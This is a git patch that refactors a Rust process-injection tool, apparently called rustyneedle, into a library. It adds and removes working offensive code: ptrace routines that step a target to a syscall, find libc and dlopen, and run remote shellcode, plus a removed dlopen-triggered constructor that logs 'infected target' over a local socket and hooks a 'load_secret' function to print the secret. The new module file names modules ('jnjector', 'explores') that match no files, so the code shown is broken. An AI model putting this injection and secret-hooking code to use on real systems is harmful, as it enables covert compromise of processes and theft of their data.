From 8b79c47b2fae539d07cb6bc07cda54cac96960d9 Mon Sep 17 00:00:00 2001 From: alemi Date: Thu, 30 Mar 2023 05:41:44 +0200 Subject: [PATCH] chore: cleanup for library: structure and features --- Cargo.toml | 12 ++++-- src/hooks.rs | 34 ----------------- src/lib.rs | 31 +--------------- src/locators.rs | 6 +-- src/needle/explorers.rs | 66 --------------------------------- src/needle/main.rs | 24 +++++------- src/needle/monitor.rs | 2 +- src/{needle => rc}/executors.rs | 0 src/rc/explorers.rs | 25 +++++++++++++ src/{needle => rc}/injector.rs | 0 src/rc/mod.rs | 7 ++++ src/{needle => rc}/senders.rs | 21 +---------- src/{needle => rc}/syscalls.rs | 0 src/tricks.rs | 19 ++++++++++ 14 files changed, 75 insertions(+), 172 deletions(-) delete mode 100644 src/hooks.rs delete mode 100644 src/needle/explorers.rs rename src/{needle => rc}/executors.rs (100%) create mode 100644 src/rc/explorers.rs rename src/{needle => rc}/injector.rs (100%) create mode 100644 src/rc/mod.rs rename src/{needle => rc}/senders.rs (81%) rename src/{needle => rc}/syscalls.rs (100%) diff --git a/Cargo.toml b/Cargo.toml index dabd1f2..d0da813 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -10,16 +10,20 @@ path = "src/lib.rs" [[bin]] name = "needle" path = "src/needle/main.rs" +required-features = ["bin"] # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] -clap = { version = "4.1.13", features = ["derive"] } -ctor = "0.1.26" -retour = "0.1" # plain detour doesn't work on latest nightly? idk elf = "0.7.2" -nix = "0.26.2" +retour = "0.1" # plain detour doesn't work on latest nightly? idk proc-maps = "0.3.0" libloading = "0.7.4" tracing = "0.1.37" tracing-subscriber = "0.3.16" +nix = { version = "0.26.2", optional = true } +clap = { version = "4.1.13", features = ["derive"], optional = true } + +[features] +rc = ["dep:nix"] +bin = ["rc", "dep:clap"] diff --git a/src/hooks.rs b/src/hooks.rs deleted file mode 100644 index 54b1a7c..0000000 --- a/src/hooks.rs +++ /dev/null @@ -1,34 +0,0 @@ -use std::ffi::c_int; - -use retour::static_detour; -use tracing::info; - -use crate::locators::find_symbol; - -static_detour! { - static HOOK : unsafe extern "C" fn() -> c_int; -} - -pub fn add_hooks() -> Result<(), Box> { - if let Some(ptr) = find_symbol("load_secret")? { - unsafe { - HOOK.initialize(ptr, cb::hook)?; - HOOK.enable()?; - } - info!("installed hook on 'load_secret'"); - } - - Ok(()) -} - -mod cb { - use tracing::info; - - use super::HOOK; - - pub fn hook() -> i32 { - let secret = unsafe { HOOK.call() }; - info!("( ͡° ͜ʖ ͡°) its {}", secret); - secret - } -} diff --git a/src/lib.rs b/src/lib.rs index 8229721..c5191ff 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,32 +1,5 @@ pub mod locators; -pub mod hooks; pub mod tricks; -use std::{net::TcpStream, sync::Mutex}; - -use tracing::{info, error}; - -use crate::hooks::add_hooks; - - -#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen -fn constructor() { - std::thread::spawn(|| { - match TcpStream::connect("127.0.0.1:13337") { - Ok(stream) => tracing_subscriber::fmt() - .with_writer(Mutex::new(stream)) - .init(), - Err(_) => {}, - } - - info!(target: "tetanus", "infected target"); - - if let Err(e) = add_hooks() { - error!(target: "tetanus", "could not add hooks : {}", e); - } - }); -} - -#[ctor::dtor] -fn destructor() {} - +#[cfg(feature = "rc")] +pub mod rc; diff --git a/src/locators.rs b/src/locators.rs index 8cdf488..9ee58df 100644 --- a/src/locators.rs +++ b/src/locators.rs @@ -19,7 +19,7 @@ pub fn find_symbol(name: &str) -> Result, Box // try to read it from executable's elf match find_argv0() { None => warn!("could not find argv0 for process"), - Some(exec) => match procmaps::map_addr_path(&exec)? { + Some(exec) => match procmaps::map_addr_path(std::process::id() as i32, &exec)? { None => warn!("could not find base addr of process image"), Some((base, path)) => match exec::offset_in_elf(&path, &name)? { None => warn!("could not locate requested symbol in ELF"), @@ -90,8 +90,8 @@ pub mod procmaps { use crate::tricks::fmt_path; - pub fn map_addr_path(name: &str) -> std::io::Result> { - let proc_maps = get_process_maps(std::process::id() as i32)?; + pub fn map_addr_path(pid: i32, name: &str) -> std::io::Result> { + let proc_maps = get_process_maps(pid)?; for map in proc_maps { debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename())); diff --git a/src/needle/explorers.rs b/src/needle/explorers.rs deleted file mode 100644 index ca5ab26..0000000 --- a/src/needle/explorers.rs +++ /dev/null @@ -1,66 +0,0 @@ -use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}}; - -use elf::{ElfBytes, endian::AnyEndian}; -use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}}; -use proc_maps::get_process_maps; - -pub fn step_to_syscall(pid: Pid) -> nix::Result { - let mut registers; - let mut addr; - let mut instructions; - - // seek to syscall - loop { - registers = ptrace::getregs(pid)?; - addr = registers.rip as usize; - instructions = ptrace::read(pid, addr as *mut c_void)?; - - if instructions & 0xFFFF == 0x050F { - return Ok(addr); - } - - ptrace::step(pid, None)?; - waitpid(pid, None)?; - } -} - -fn _path_to_str<'a>(p: Option<&'a Path>) -> &'a str { - match p { - Some(path) => { - match path.to_str() { - Some(s) => s, - None => "?", - } - }, - None => "", - } -} - -pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> { - let proc_maps = get_process_maps(pid.as_raw())?; - - for map in proc_maps { - if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") { - return Ok(( - map.start() - map.offset, - map.filename().expect("matched empty option?").to_path_buf() - )); - } - } - - Err(Error::new(ErrorKind::NotFound, "no libc in target proc maps")) -} - -pub fn find_dlopen(path: &Path) -> std::io::Result { - let libc = std::fs::read(path).expect("could not read libc"); - let headers = ElfBytes::::minimal_parse(&libc).expect("failed parsing libc as ELF"); - let common = headers.find_common_data().expect("shdrs should parse"); - let dynsyms = common.dynsyms.unwrap(); - let strtab = common.dynsyms_strs.unwrap(); - let hash_table = common.sysv_hash.unwrap(); - let (_id, dlopen) = hash_table.find(b"dlopen", &dynsyms, &strtab) - .expect("could not parse symbols hash table") - .expect("could not find dlopen symbol"); - - return Ok(dlopen.st_value as usize); -} diff --git a/src/needle/main.rs b/src/needle/main.rs index e937927..3f4fe0e 100644 --- a/src/needle/main.rs +++ b/src/needle/main.rs @@ -1,23 +1,17 @@ -mod syscalls; -mod executors; -mod senders; -mod injector; -mod explorers; -mod monitor; - use std::path::PathBuf; -use injector::RemoteOperation; -use monitor::monitor_payload; +use tracing::{metadata::LevelFilter, info, error}; + use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}}; use clap::Parser; -use executors::RemoteShellcode; -use senders::RemoteString; -use explorers::step_to_syscall; -use tracing::{metadata::LevelFilter, info, error}; +use rustyneedle::{ + injector::RemoteOperation, executors::RemoteShellcode, + senders::RemoteString, syscalls::RemoteExit, + explorers::step_to_syscall, +}; -use crate::{explorers::{find_libc, find_dlopen}, syscalls::RemoteExit}; +mod monitor; #[derive(Parser, Debug)] #[command(author, version, about, long_about = None)] @@ -152,7 +146,7 @@ fn main() { } if monitor { - monitor_payload(); + monitor::listen_logs(); } } diff --git a/src/needle/monitor.rs b/src/needle/monitor.rs index cce3034..46f132a 100644 --- a/src/needle/monitor.rs +++ b/src/needle/monitor.rs @@ -2,7 +2,7 @@ use std::net::TcpListener; use tracing::info; -pub fn monitor_payload() { +pub fn listen_logs() { info!("listening for logs from injected payload ..."); if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") { if let Ok((mut stream, addr)) = listener.accept() { diff --git a/src/needle/executors.rs b/src/rc/executors.rs similarity index 100% rename from src/needle/executors.rs rename to src/rc/executors.rs diff --git a/src/rc/explorers.rs b/src/rc/explorers.rs new file mode 100644 index 0000000..084dba6 --- /dev/null +++ b/src/rc/explorers.rs @@ -0,0 +1,25 @@ +use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}}; + +use elf::{ElfBytes, endian::AnyEndian}; +use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}}; +use proc_maps::get_process_maps; + +pub fn step_to_syscall(pid: Pid) -> nix::Result { + let mut registers; + let mut addr; + let mut instructions; + + // seek to syscall + loop { + registers = ptrace::getregs(pid)?; + addr = registers.rip as usize; + instructions = ptrace::read(pid, addr as *mut c_void)?; + + if instructions & 0xFFFF == 0x050F { + return Ok(addr); + } + + ptrace::step(pid, None)?; + waitpid(pid, None)?; + } +} diff --git a/src/needle/injector.rs b/src/rc/injector.rs similarity index 100% rename from src/needle/injector.rs rename to src/rc/injector.rs diff --git a/src/rc/mod.rs b/src/rc/mod.rs new file mode 100644 index 0000000..90b29b0 --- /dev/null +++ b/src/rc/mod.rs @@ -0,0 +1,7 @@ +mod jnjector; + +mod executors; +mod explores; +mod senders; + +mod syscalls; diff --git a/src/needle/senders.rs b/src/rc/senders.rs similarity index 81% rename from src/needle/senders.rs rename to src/rc/senders.rs index e946266..8cb1971 100644 --- a/src/needle/senders.rs +++ b/src/rc/senders.rs @@ -1,4 +1,4 @@ -use std::{ffi::c_void, fmt::Display, mem::size_of}; +use std::{ffi::c_void, mem::size_of}; use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}}; use tracing::{debug, info}; @@ -7,25 +7,6 @@ use crate::{injector::RemoteOperation, syscalls::{RemoteMMap, RemoteMUnmap}}; const WORD_SIZE : usize = size_of::(); -pub struct ByteVec(pub Vec); - -impl From> for ByteVec { - fn from(value: Vec) -> Self { - ByteVec(value) - } -} - -impl Display for ByteVec { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - write!(f, "[ ")?; - for el in self.0.iter() { - write!(f, "0x{:x} ", el)?; - } - write!(f, "]")?; - Ok(()) - } -} - #[allow(unused)] pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result> { let mut out = vec![]; diff --git a/src/needle/syscalls.rs b/src/rc/syscalls.rs similarity index 100% rename from src/needle/syscalls.rs rename to src/rc/syscalls.rs diff --git a/src/tricks.rs b/src/tricks.rs index 0b85203..d5a5d71 100644 --- a/src/tricks.rs +++ b/src/tricks.rs @@ -1,3 +1,22 @@ +pub struct ByteVec(pub Vec); + +impl From> for ByteVec { + fn from(value: Vec) -> Self { + ByteVec(value) + } +} + +impl std::fmt::Display for ByteVec { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "[ ")?; + for el in self.0.iter() { + write!(f, "0x{:x} ", el)?; + } + write!(f, "]")?; + Ok(()) + } +} + pub fn find_argv0() -> Option { // could be a relative path, just get last member Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows? }